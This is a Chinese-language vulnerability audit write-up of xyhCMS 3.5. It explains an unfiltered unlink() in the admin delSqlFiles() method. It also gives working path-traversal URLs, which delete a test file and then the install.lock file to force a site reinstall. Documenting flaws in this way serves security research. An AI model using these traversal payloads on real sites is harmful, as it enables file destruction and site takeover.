环境搭建

https://github.com/gosea/xyhcms3/releases/tag/3.5

  • xyhCMS3.5 20180508
  • php 7.0.12
  • Apache
  • mysql 5.5.53

审计分析

  1. 全局搜索unlink定位到一处sql文件删除代码段

image-20250105141916152

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function delSqlFiles() {

$id = I('id', 0, 'intval');
$batchFlag = I('get.batchFlag', 0, 'intval');
//批量删除
if ($batchFlag) {
$files = I('key', array());
} else {
$files[] = I('sqlfilename', '');
}

if (empty($files)) {
$this->error('请选择要删除的sql文件');
}

foreach ($files as $file) {
unlink($this->getDbPath() . '/' . $file);
}
$this->success("已删除:" . implode(",", $files), U('Database/restore'));

}
  1. 在这段代码中,当 $batchFlag 存在且为真时,$files 会被视为数组,执行批量删除;否则,$files 被视为单个文件名。TP 框架的 I() 函数用来接收请求中的 sqlfilename 参数作为要删除的文件名,并进行判空处理。如果文件名有效,接下来会通过拼接基础路径 $this->getDbPath()$file 来执行 unlink() 删除操作。此段代码未见明显的过滤

I() 函数是 ThinkPHP 框架提供的一个用于获取请求参数的辅助函数。它将参数从 $_GET$_POST 等超全局变量中提取出来,并按照给定的规则进行处理(比如通过 intval 转换为整数,或者使用默认值)

  1. 再看看$this->getDbPath() 的值是什么,便于我们后面执行任意文件删除操作时知道当前路径与目标路径的相对位置,这样我们才能知道需要写几个目录跳转符能删除目标文件

image-20250105145412650

ok,确定了值为,/Data/resource/backupdata

image-20250105150034731

漏洞触发

漏洞位于:/App/Manage/Controller/DatabaseController.class.php文件

漏洞方法是:delSqlFiles()

参数是:sqlfilename,或者key

也就是属于Manage模块,控制器是Database,方法是delSqlFiles,参数是sqlfilename / key

入口文件有两个:index.php xyhai.php

xyhai.php 中可以看到绑定到了Manage模块的代码

而且访问xyhai.php,也是后台登录界面,说明Manage模块下的都是后台功能点,而且入口文件是xyhai.php,index.php是前台入口文件

image-20250105144226080

还可以看到程序是通过ThinkPHP 的路由重写功能传递路径参数的

1
http://127.0.0.1/cms/xyhcms3.5/xyhai.php?s=/Login/index

综上所所述,我们这样构造触发:

首先要登录后台,因为是后台的功能点

image-20250105145053567

手动在网站根目录创建一个phpinfo.php

image-20250105151147716

现在我们来删除它

上面也提到了我们删除文件的基础路径在/Data/resource/backupdata,于是需要跳三次目录,就到网站根目录了

image-20250105151257551

1
http://127.0.0.1/cms/xyhcms3.5/xyhai.php?s=/Database/delSqlFiles/sqlfilename/..\..\..\phpinfo.php/1

删除成功!

image-20250105161627515

image-20250105161223865

漏洞利用

删除锁文件,直接重装系统

1
http://127.0.0.1/cms/xyhcms3.5/xyhai.php?s=/Database/delSqlFiles/sqlfilename/..\..\..\install\install.lock/1 

image-20250105161600521

访问/install

哟西成功导致重装,不过不要在真实环境中操作,危害巨大,能证明可以重装就行了

image-20250105161702909